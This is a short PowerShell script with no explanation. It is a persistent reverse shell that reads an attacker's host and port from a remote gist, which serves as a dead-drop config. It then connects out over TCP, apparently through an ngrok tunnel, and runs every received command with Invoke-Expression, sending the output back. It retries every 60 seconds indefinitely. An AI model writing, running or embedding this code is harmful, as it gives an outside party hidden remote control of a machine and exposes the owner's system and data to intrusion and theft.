$gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt" while($true) { try { $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim() $remote = $config -split " " $ngrok_host = $remote[0] $ngrok_port = $remote[1] Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port" $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() Write-Output "[*] Connection closed. Will read Gist again before retrying." } catch { Write-Output "[!] Connection failed. Will retry in 60 seconds..." } Start-Sleep -Seconds 60 }